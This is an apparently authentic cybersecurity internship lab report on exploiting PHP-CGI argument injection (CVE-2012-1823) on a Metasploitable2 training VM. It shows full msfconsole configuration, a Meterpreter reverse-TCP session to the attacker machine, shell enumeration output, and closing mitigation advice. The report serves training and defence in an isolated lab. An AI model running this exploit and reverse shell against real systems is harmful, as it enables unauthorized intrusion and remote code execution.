

Exploitation with Metasploit

Exploiting a Known Vulnerability & Basic Post-Exploitation

Zyroo Cybersecurity Internship Track — Task 04 (Week 4)
Category: Cybersecurity Fundamentals / Penetration Testing | Difficulty: Beginner–Intermediate

Prepared by:	Syed Mujtaba Hussain — Cybersecurity Intern
Target:	Metasploitable2 (192.168.43.134)
Attacker Machine:	Kali Linux (VMware), 192.168.43.128
Framework:	Metasploit Framework (msfconsole)
Builds On:	Week 2 — Vulnerability Scanning (Nikto scan, same target)
Lab Environment:	Isolated private virtual network, authorized self-owned lab
Date:	October 2026

This report documents controlled, authorized exploitation performed entirely within a local, isolated lab environment against Metasploitable2 — a virtual machine intentionally built with known vulnerabilities for security training. No real, production, or third-party systems were tested.

1. Task Overview

This task closes the loop on the project's first three weeks: Week 1 built the isolated lab, Week 2 scanned the lab target (Metasploitable2) with Nikto and produced a ranked vulnerability findings report, and Week 3 covered manual web application testing (SQL Injection, XSS, CSRF) against a separate training application. Week 4 takes the reconnaissance performed in Week 2 and moves from *identifying* a vulnerability to *actually exploiting it* using the Metasploit Framework, then performing basic, non-destructive post-exploitation to demonstrate and document the level of access gained.

2. Relationship to Week 2 Findings

The Week 2 report ranked five findings by severity (F-01 exposed `wp-config.php` credentials, F-02 publicly accessible phpMyAdmin, F-03 outdated/EOL Apache 2.2.8, F-04 exposed `phpinfo.php`, F-05 HTTP TRACE method enabled). The same Nikto scan that produced those findings also captured the target's X-Powered-By: PHP/5.2.4-2ubuntu5.10 response header — present in the raw scan data though not independently ranked as one of the five headline findings.

This PHP version was selected as the vulnerability to exploit for Week 4, because it is the one finding from the Week 2 reconnaissance that maps directly to a known, weaponized remote-code-execution flaw with a matching Metasploit module — unlike the other findings, which are primarily information-disclosure or misconfiguration issues that would require further steps (e.g. credential brute-forcing against phpMyAdmin) to achieve code execution. PHP 5.2.4, running under Apache's CGI handler on this host, is vulnerable to the PHP-CGI Argument Injection flaw (CVE-2012-1823), which allows an unauthenticated remote attacker to execute arbitrary PHP code — and, by extension, obtain a system shell — on the target.

3. Environment Verification

Connectivity between the Kali Linux attacker machine and the Metasploitable2 target was confirmed on the same isolated private lab network (the network established in Week 1) before any exploitation was attempted, consistent with the Week 2 scan which targeted the same host (192.168.43.134).

4. Exploitation

Vulnerability

PHP-CGI Argument Injection (Remote Code Execution) — CVE-2012-1823

Location

Target: Metasploitable2 (192.168.43.134), web server on TCP port 80, PHP 5.2.4-2ubuntu5.10 running under Apache 2.2.8's CGI handler, reachable at /index.php.

Exploit Module Used

exploit/multi/http/php_cgi_arg_injection (Metasploit Framework), with payload php/meterpreter/reverse_tcp. The module was located within msfconsole using search cgi_arg_injection, which returned two matching modules — the Linux/PHP variant used here (disclosed 2012-05-03, rank: excellent) and an unrelated, newer Windows-specific variant (CVE-2024-4577) not applicable to this Linux target.

```
msf exploit(multi/http/php_cgi_arg_injection) > search cgi_arg_injection

Matching Modules
=====
#  Full Name                                           Disclosure Date  Rank    Check  Name
--  -
0  exploit/multi/http/php_cgi_arg_injection            2012-05-03      excellent Yes     PHP CGI Argument Injection
1  exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577 2024-06-06      excellent Yes     PHP CGI Argument Injection Remote Code Execution
2  \ target: Windows PHP                               .               .       .
3  \ target: Windows Command                           .               .       .

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command'
```

Figure 1 — Locating the exploit module in msfconsole via search cgi_arg_injection, confirming exploit/multi/http/php_cgi_arg_injection as the correct match for this Linux/PHP target.

When PHP is configured to run via the CGI (rather than mod_php) handler, the PHP interpreter incorrectly treats certain query-string content as command-line arguments passed to php-cgi itself. By crafting a request containing PHP configuration directives (e.g. -d allow_url_include=on) as part of the query string, an unauthenticated remote attacker can inject arbitrary PHP configuration and ultimately execute arbitrary code on the server, without needing any valid credentials.

Module Configuration

```
set RHOSTS 192.168.43.134
set TARGETURI /index.php
LHOST 192.168.43.128 (auto-detected, Kali's IP on the lab network)
LPORT 4444 (default)
```

```
msf exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.43.134
RHOSTS => 192.168.43.134
msf exploit(multi/http/php_cgi_arg_injection) > set TARGETURI /index.php
TARGETURI => /index.php
msf exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name      Current Setting  Required  Description
--      -
PLESK     false           yes       Exploit Plesk
Proxies   false           no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, http, socks4, socks5, socks5h
RHOSTS    192.168.43.134  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     80              yes       The target port (TCP)
SSL       false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI /index.php      no        The URI to request (must be a CGI-handled PHP script)
URIENCODING 0              yes       Level of URI URIENCODING and padding (0 for minimum)
VHOST     no              no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.43.128  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic
```

Figure 2 — Exploit module selected and fully configured in msfconsole (RHOSTS, TARGETURI, LHOST, LPORT) prior to execution.

Access Gained

Running exploit successfully opened a Meterpreter session on the target. sysinfo confirmed the compromised host (Linux metasploitable, kernel 2.6.24-16-server), and getuid confirmed the session is running as www-data — i.e. **user-level access** (the low-privilege account the Apache web server itself runs as), not root/administrator. This is the expected outcome of a web-application-layer exploit: it grants the attacker the privileges of the web server process, not full system compromise, unless combined with a further local privilege-escalation step (out of scope for this exercise).

```
msf exploit(multi/http/php_cgi_arg_injection) > exploit
[*] Started reverse TCP handler on 192.168.43.128:4444
[*] Sending stage (72690 bytes) to 192.168.43.134
[*] Meterpreter session 1 opened (192.168.43.128:4444 → 192.168.43.134:39731) at 2026-10-02 07:59:26 -0400

meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Architecture : i686
Meterpreter  : php/linux
meterpreter > getuid
Server username: www-data
meterpreter > shell
Process 5356 created.
Channel 0 created.
```

Figure 3 — Successful exploitation: reverse TCP handler started, Meterpreter session 1 opened against 192.168.43.134, confirmed via sysinfo and getuid (www-data).

Evidence — Post-Exploitation Enumeration

From within the session, a raw system shell was obtained (shell) and basic, non-destructive enumeration commands were run to confirm user context, privileges, and system details:

```
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
pwd
/var/www
```

Figure 4 — Post-exploitation enumeration: whoami (www-data), id (uid=33(www-data) gid=33(www-data) groups=33(www-data)), uname -a (kernel 2.6.24-16-server, i686), and pwd (/var/www — the web root).

No files were modified, deleted, or exfiltrated during this exercise — enumeration was limited to what was necessary to demonstrate and document the level of access obtained, in accordance with the task's rules of engagement.

Impact

This vulnerability grants an unauthenticated remote attacker arbitrary code execution on the target's web server, at the privilege level of the web server account (`www-data`). With this level of access, an attacker could read, modify, or delete any file the web server account can access (including application source code and configuration files — in this environment, the previously-identified exposed `wp-config.php` would be directly readable from this shell, chaining straight into database compromise), pivot further into the internal network from the compromised host, install a persistent backdoor or web shell for long-term access, or use the foothold as a stepping stone toward privilege escalation to root via a separate local kernel or SUID vulnerability. Combined with the other Week 2 findings (e.g. the exposed database credentials), this single web-layer RCE represents a realistic path to full compromise of the host and any data it holds.

Mitigation

Upgrade PHP to a current, supported version — this specific flaw was patched in PHP 5.3.12 / 5.4.2 and does not affect modern PHP releases, so routine patching alone eliminates it. Where CGI-based PHP execution is unavoidable, avoid exposing `php-cgi` directly and instead route requests through a properly configured handler (e.g. `mod_php` or PHP-FPM with Apache/Nginx), which is not susceptible to this specific argument-injection pattern. More broadly: run the web server process under a dedicated, least-privilege account with no unnecessary filesystem access (limiting what an attacker gains even if code execution is achieved), keep the entire stack — OS, Apache, PHP — on a regular patch cycle as already recommended in the Week 2 report, and deploy a Web Application Firewall (WAF) or intrusion-detection rule set capable of detecting and blocking CGI argument-injection request patterns as a defense-in-depth measure.

5. Summary

Item	Detail
Vulnerability	PHP-CGI Argument Injection (CVE-2012-1823)
Exploit Module	exploit/multi/http/php_cgi_arg_injection
Payload	php/meterpreter/reverse_tcp
Target	192.168.43.134 (Metasploitable2)
Access Gained	User-level (www-data) — not root/admin
Session Type	Meterpreter (PHP) + interactive system shell
Data Modified/Exfiltrated	None — enumeration only

6. Conclusion

This exercise demonstrated the full penetration-testing lifecycle in miniature: a vulnerability identified during reconnaissance (Week 2) was researched, matched to a working exploit module, configured, and successfully executed to obtain hands-on system access, followed by careful, non-destructive post-exploitation enumeration to document exactly what that access permitted. The exercise reinforces why vulnerability scanning and patch management matter in practice: an information-disclosure-level finding (an outdated software version banner) translated directly into full remote code execution once a matching public exploit was available — underscoring that even 'informational' findings in a scan report can carry serious real-world risk if left unpatched.

All exploitation documented in this report was performed exclusively against a local, intentionally-vulnerable training virtual machine (Metasploitable2) within an isolated lab network, in accordance with the Zyroo Cybersecurity Internship Track's authorized-testing policy.